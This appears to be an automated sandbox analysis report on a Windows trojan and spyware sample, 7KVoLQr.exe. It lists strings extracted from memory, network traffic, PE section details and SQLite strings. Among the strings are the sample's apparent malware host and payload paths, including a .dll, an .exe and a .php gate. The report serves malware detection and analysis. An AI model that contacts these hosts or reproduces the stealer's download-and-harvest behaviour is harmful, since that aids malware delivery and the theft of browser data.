Source: 7KVoLQr.exe, 00000000.00000002.1506156145.0000000000E63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dug.chickenkiller.com//kj2h34kj23h4/vcruntime140.dll
Source: 7KVoLQr.exe, 00000000.00000002.1506156145.0000000000E63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dug.chickenkiller.com//kj2h34kj23h4/vcruntime140.dllGO
Source: 7KVoLQr.exe, 00000000.00000002.1506156145.0000000000E63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dug.chickenkiller.com//kj2h34kj23h4/vcruntime140.dllgO
Source: 7KVoLQr.exe, 00000000.00000002.1506156145.0000000000E49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dug.chickenkiller.com/0;q
Source: 7KVoLQr.exe, 00000000.00000002.1505216195.00000000003EC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://dug.chickenkiller.com/al
Source: 7KVoLQr.exe, 00000000.00000002.1505216195.00000000003EC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://dug.chickenkiller.com/al4859b3ecfa3271e4d5aba091dbb0fc141baafbc.exe
Source: 7KVoLQr.exe, 00000000.00000002.1506156145.0000000000E70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dug.chickenkiller.com/esk
Source: 7KVoLQr.exe, 00000000.00000002.1505216195.0000000000487000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://dug.chickenkiller.com/gtthfbsb2h.phpd
Source: 7KVoLQr.exe, 00000000.00000002.1506156145.0000000000E49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dug.chickenkiller.com/l
Source: 7KVoLQr.exe, 00000000.00000002.1506156145.0000000000E70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dug.chickenkiller.com/ontdesk
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_111.4.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: 7KVoLQr.exe, 7KVoLQr.exe, 00000000.00000002.1515602975.000000006CC7D000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: 7KVoLQr.exe, 00000000.00000002.1515394070.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, 7KVoLQr.exe, 00000000.00000002.1508562550.0000000005745000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: GHJEGCAE.0.dr	String found in binary or memory: https://ac.ecosia.org?q=
Source: chromecache_109.4.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_109.4.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: chromecache_111.4.dr, chromecache_109.4.dr	String found in binary or memory: https://apis.google.com
Source: 7KVoLQr.exe, 00000000.00000002.1511728028.000000000B720000.00000004.00000020.00020000.00000000.sdmp, CAAEBKEGHJKEBFHJDBFC.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: 7KVoLQr.exe, 00000000.00000002.1511728028.000000000B720000.00000004.00000020.00020000.00000000.sdmp, CAAEBKEGHJKEBFHJDBFC.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: GHJEGCAE.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 7KVoLQr.exe, 00000000.00000003.1257606753.000000000B6C8000.00000004.00000020.00020000.00000000.sdmp, GHJEGCAE.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 7KVoLQr.exe, 00000000.00000003.1257606753.000000000B6C8000.00000004.00000020.00020000.00000000.sdmp, GHJEGCAE.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_109.4.dr	String found in binary or memory: https://clients6.google.com
Source: chromecache_109.4.dr	String found in binary or memory: https://content.googleapis.com
Source: 7KVoLQr.exe, 00000000.00000002.1511728028.000000000B720000.00000004.00000020.00020000.00000000.sdmp, CAAEBKEGHJKEBFHJDBFC.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: 7KVoLQr.exe, 00000000.00000002.1511728028.000000000B720000.00000004.00000020.00020000.00000000.sdmp, CAAEBKEGHJKEBFHJDBFC.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: chromecache_109.4.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: GHJEGCAE.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 7KVoLQr.exe, 00000000.00000003.1257606753.000000000B6C8000.00000004.00000020.00020000.00000000.sdmp, GHJEGCAE.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtabv20
Source: GHJEGCAE.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_111.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_111.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_111.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_111.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: GHJEGCAE.0.dr	String found in binary or memory: https://gemini.google.com/app?q=
Source: CAAEBKEGHJKEBFHJDBFC.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: chromecache_111.4.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_109.4.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_109.4.dr	String found in binary or memory: https://plus.googleapis.com
Source: JJJEGCGDGHCBFHIDHDAAFBGCFB.0.dr	String found in binary or memory: https://support.mozilla.org
Source: JJJEGCGDGHCBFHIDHDAAFBGCFB.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: JJJEGCGDGHCBFHIDHDAAFBGCFB.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK
Source: chromecache_109.4.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: 7KVoLQr.exe, 00000000.00000002.1511728028.000000000B720000.00000004.00000020.00020000.00000000.sdmp, CAAEBKEGHJKEBFHJDBFC.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: 7KVoLQr.exe, 00000000.00000003.1257606753.000000000B6C8000.00000004.00000020.00020000.00000000.sdmp, GHJEGCAE.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/v20
Source: 7KVoLQr.exe, 00000000.00000003.1257606753.000000000B6C8000.00000004.00000020.00020000.00000000.sdmp, GHJEGCAE.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp.ico
Source: chromecache_109.4.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_109.4.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: chromecache_111.4.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_111.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_111.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: 7KVoLQr.exe, 00000000.00000002.1511728028.000000000B720000.00000004.00000020.00020000.00000000.sdmp, CAAEBKEGHJKEBFHJDBFC.0.dr	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: JJJEGCGDGHCBFHIDHDAAFBGCFB.0.dr	String found in binary or memory: https://www.mozilla.org
Source: 7KVoLQr.exe, 00000000.00000002.1505216195.00000000003A4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: JJJEGCGDGHCBFHIDHDAAFBGCFB.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: 7KVoLQr.exe, 00000000.00000002.1505216195.00000000003A4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: JJJEGCGDGHCBFHIDHDAAFBGCFB.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: 7KVoLQr.exe, 00000000.00000002.1505216195.00000000003A4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: 7KVoLQr.exe, 00000000.00000003.1478118914.000000000BBC4000.00000004.00000020.00020000.00000000.sdmp, JJJEGCGDGHCBFHIDHDAAFBGCFB.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: JJJEGCGDGHCBFHIDHDAAFBGCFB.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 7KVoLQr.exe, 00000000.00000002.1505216195.00000000003A4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: 7KVoLQr.exe, 00000000.00000003.1478118914.000000000BBC4000.00000004.00000020.00020000.00000000.sdmp, JJJEGCGDGHCBFHIDHDAAFBGCFB.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49695 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49683
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49681
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49695
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49694
Source: unknown	Network traffic detected: HTTP traffic on port 49694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49683 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49681 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443

System Summary

PE file contains section with special chars

Source: 7KVoLQr.exe	Static PE information: section name:
Source: 7KVoLQr.exe	Static PE information: section name: .rsrc
Source: 7KVoLQr.exe	Static PE information: section name: .idata
Source: 7KVoLQr.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC6B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CC6B700
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC6B8C0 rand_s,NtQueryVirtualMemory,	0_2_6CC6B8C0
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC6B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6CC6B910
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC0F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CC0F280

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir6296_124676606

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir6296_124676606

Jump to behavior

Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC035A0	0_2_6CC035A0
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC164C0	0_2_6CC164C0
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC2D4D0	0_2_6CC2D4D0
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC0D4E0	0_2_6CC0D4E0
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC46CF0	0_2_6CC46CF0
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC16C80	0_2_6CC16C80
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC634A0	0_2_6CC634A0
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC6C4A0	0_2_6CC6C4A0
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC15440	0_2_6CC15440
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC7545C	0_2_6CC7545C
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC7AC00	0_2_6CC7AC00
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC45C10	0_2_6CC45C10
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC52C10	0_2_6CC52C10
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC7542B	0_2_6CC7542B
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC40DD0	0_2_6CC40DD0
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC685F0	0_2_6CC685F0
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC1FD00	0_2_6CC1FD00
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC30512	0_2_6CC30512
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC2ED10	0_2_6CC2ED10
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC776E3	0_2_6CC776E3
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC0BEF0	0_2_6CC0BEF0
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC1FEF0	0_2_6CC1FEF0
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC6E680	0_2_6CC6E680
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC25E90	0_2_6CC25E90
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC64EA0	0_2_6CC64EA0
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC24640	0_2_6CC24640
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC52E4E	0_2_6CC52E4E
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC29E50	0_2_6CC29E50
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC43E50	0_2_6CC43E50
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC76E63	0_2_6CC76E63
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC0C670	0_2_6CC0C670
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC55600	0_2_6CC55600
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC47E10	0_2_6CC47E10
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC69E30	0_2_6CC69E30
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC0DFE0	0_2_6CC0DFE0
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC36FF0	0_2_6CC36FF0
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC577A0	0_2_6CC577A0
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC19F00	0_2_6CC19F00
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC47710	0_2_6CC47710
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC750C7	0_2_6CC750C7
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC2C0E0	0_2_6CC2C0E0
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC458E0	0_2_6CC458E0
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC360A0	0_2_6CC360A0
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC28850	0_2_6CC28850
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC2D850	0_2_6CC2D850
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC4F070	0_2_6CC4F070
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC17810	0_2_6CC17810
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC4B820	0_2_6CC4B820
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC54820	0_2_6CC54820
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC45190	0_2_6CC45190
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC62990	0_2_6CC62990
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC0C9A0	0_2_6CC0C9A0
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC3D9B0	0_2_6CC3D9B0
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC2A940	0_2_6CC2A940
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC1D960	0_2_6CC1D960
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC5B970	0_2_6CC5B970
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC7B170	0_2_6CC7B170
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC48AC0	0_2_6CC48AC0
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC21AF0	0_2_6CC21AF0
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC4E2F0	0_2_6CC4E2F0
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC7BA90	0_2_6CC7BA90
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC022A0	0_2_6CC022A0
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC34AA0	0_2_6CC34AA0
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC1CAB0	0_2_6CC1CAB0
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC72AB0	0_2_6CC72AB0
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC49A60	0_2_6CC49A60
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC753C8	0_2_6CC753C8
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC0F380	0_2_6CC0F380
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC05340	0_2_6CC05340
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC1C370	0_2_6CC1C370
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC4D320	0_2_6CC4D320

Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: String function: 6CC3CBE8 appears 134 times
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: String function: 6CC494D0 appears 90 times

Source: 7KVoLQr.exe, 00000000.00000002.1516056362.000000006CE85000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs 7KVoLQr.exe
Source: 7KVoLQr.exe, 00000000.00000002.1515669631.000000006CC92000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs 7KVoLQr.exe

Source: 7KVoLQr.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 7KVoLQr.exe

Static PE information: Section: gnsuchjk ZLIB complexity 0.9940204050872761

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@49/49@35/7

Source: C:\Users\user\Desktop\7KVoLQr.exe

Code function: 0_2_6CC67030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6CC67030

Source: C:\Users\user\Desktop\7KVoLQr.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\DE7ZZKRD.htm

Jump to behavior

Source: C:\Users\user\Desktop\7KVoLQr.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: 7KVoLQr.exe, 00000000.00000002.1515207957.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 7KVoLQr.exe, 00000000.00000002.1515945157.000000006CE3F000.00000002.00000001.01000000.0000000A.sdmp, 7KVoLQr.exe, 00000000.00000002.1508562550.0000000005745000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: 7KVoLQr.exe, 00000000.00000002.1515207957.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 7KVoLQr.exe, 00000000.00000002.1515945157.000000006CE3F000.00000002.00000001.01000000.0000000A.sdmp, 7KVoLQr.exe, 00000000.00000002.1508562550.0000000005745000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: 7KVoLQr.exe, 00000000.00000002.1515207957.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 7KVoLQr.exe, 00000000.00000002.1515945157.000000006CE3F000.00000002.00000001.01000000.0000000A.sdmp, 7KVoLQr.exe, 00000000.00000002.1508562550.0000000005745000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: 7KVoLQr.exe, 00000000.00000002.1515207957.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 7KVoLQr.exe, 00000000.00000002.1515945157.000000006CE3F000.00000002.00000001.01000000.0000000A.sdmp, 7KVoLQr.exe, 00000000.00000002.1508562550.0000000005745000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: 7KVoLQr.exe, 00000000.00000002.1515207957.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 7KVoLQr.exe, 00000000.00000002.1515945157.000000006CE3F000.00000002.00000001.01000000.0000000A.sdmp, 7KVoLQr.exe, 00000000.00000002.1508562550.0000000005745000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: 7KVoLQr.exe, 00000000.00000002.1515207957.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 7KVoLQr.exe, 00000000.00000002.1508562550.0000000005745000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
